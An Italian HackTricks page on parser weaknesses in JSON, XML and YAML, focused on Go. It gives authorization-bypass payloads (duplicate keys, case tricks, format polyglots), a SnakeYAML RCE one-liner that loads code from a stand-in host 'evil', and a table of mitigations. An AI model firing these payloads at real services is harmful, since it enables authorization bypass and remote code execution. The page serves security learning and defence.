JSON, XML & Yaml Hacking & Problemi
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Go JSON Decoder
I seguenti problemi sono stati rilevati nel Go JSON sebbene possano essere presenti anche in altri linguaggi. Questi problemi sono stati pubblicati in this blog post.
I parser JSON, XML e YAML di Go presentano una lunga serie di incoerenze e default insicuri che possono essere abusati per bypass authentication, escalate privileges, o exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
Lo scopo è sfruttare structs che permettono a un attacker di leggere/scrivere campi sensibili (es., IsAdmin, Password).
- Struct di esempio:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Vulnerabilità comuni
- Tag mancante (nessun tag = il campo viene ancora analizzato per impostazione predefinita):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Uso scorretto di
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Modalità corretta per impedire che un campo venga (un)marshaled:
type User struct {
IsAdmin bool `json:"-"`
}
Differenze dei parser
L’obiettivo è il bypass dell’autorizzazione sfruttando come parser differenti interpretano in modo diverso lo stesso payload, come in:
- CVE-2017-12635: Apache CouchDB bypass tramite chiavi duplicate
- 2022: Zoom 0-click RCE a causa di incoerenze del parser XML
- GitLab 2025 SAML bypass a causa di peculiarità dell’XML
1. Campi duplicati:
Il encoding/json di Go prende l’ultimo campo.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Altri parser (ad esempio Java’s Jackson) possono prendere il primo.
2. Insensibilità alle maiuscole/minuscole: Go non fa distinzione tra maiuscole e minuscole:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Anche i trucchi Unicode funzionano:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Cross-service mismatch: Immagina:
- Proxy scritto in Go
- AuthZ service scritto in Python
Attacker invia:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python vede
UserAction, lo permette - Go vede
AdminAction, lo esegue
Confusione di formati dati (Polyglots)
L’obiettivo è sfruttare sistemi che mescolano formati (JSON/XML/YAML) o che falliscono in modalità ‘fail open’ su errori del parser, come:
- CVE-2020-16250: HashiCorp Vault ha analizzato JSON con un parser XML dopo che STS ha restituito JSON invece di XML.
L’attaccante controlla:
- L’header
Accept: application/json - Controllo parziale del corpo JSON
Il parser XML di Go l’ha comunque analizzato e si è fidato dell’identità iniettata.
- Payload costruito:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Risultato:
- Go JSON parser:
Action_2(senza distinzione tra maiuscole e minuscole + l’ultimo prevale) - YAML parser:
Action_1(sensibile a maiuscole/minuscole) - XML parser: analizza
"Action_3"all’interno della stringa
Vulnerabilità notevoli dei parser (2023-2025)
Le seguenti issue sfruttabili pubblicamente mostrano che il parsing insicuro è un problema multilingue — non solo un problema di Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Colpisce:
org.yaml:snakeyaml< 2.0 (usato da Spring-Boot, Jenkins, etc.). - Causa principale:
new Constructor()deserializza classi Java arbitrarie, consentendo gadget chains che culminano in remote-code execution. - One-liner PoC (aprirà la calcolatrice sull’host vulnerabile):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Correzione / Mitigazione:
- Aggiornare a ≥2.0 (usa
SafeLoaderdi default). - Nelle versioni più vecchie, usare esplicitamente
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Interessa:
libyaml≤0.2.5 (libreria C utilizzata da molti language bindings). - Problema: chiamare
yaml_event_delete()due volte causa un double-free che gli attackers possono trasformare in DoS o, in alcuni scenari, in heap exploitation. - Stato: Upstream ha respinto come “API misuse”, ma le distribuzioni Linux hanno distribuito la versione patchata 0.2.6 che null-frees il puntatore per difesa.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Interessa: Tencent RapidJSON prima del commit
8269bc2(<1.1.0-patch-22). - Bug: in
GenericReader::ParseNumber()operazioni aritmetiche non controllate permettono agli attackers di craftare letterali numerici enormi che vanno in wrap-around e corrompono la heap — consentendo infine privilege-escalation quando il grafo di oggetti risultante viene usato per decisioni di autorizzazione.
🔐 Mitigazioni (Aggiornate)
| Rischio | Correzione / Raccomandazione |
|---|---|
| Campi sconosciuti (JSON) | decoder.DisallowUnknownFields() |
| Campi duplicati (JSON) | ❌ Nessuna correzione nella stdlib — convalida con jsoncheck |
| Case-insensitive match (Go) | ❌ Nessuna correzione — convalida struct tags + pre-canonicalizza l’input |
| Dati spazzatura XML / XXE | Usa un parser rinforzato (encoding/xml + DisallowDTD) |
| Chiavi YAML sconosciute | yaml.KnownFields(true) |
| Deserializzazione YAML non sicura | Usa SafeConstructor / upgrade a SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Aggiorna a 0.2.6 o a una release distro-patchata |
| RapidJSON <patched commit | Compila contro l’ultima RapidJSON (≥luglio 2024) |
Vedi anche
Riferimenti
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

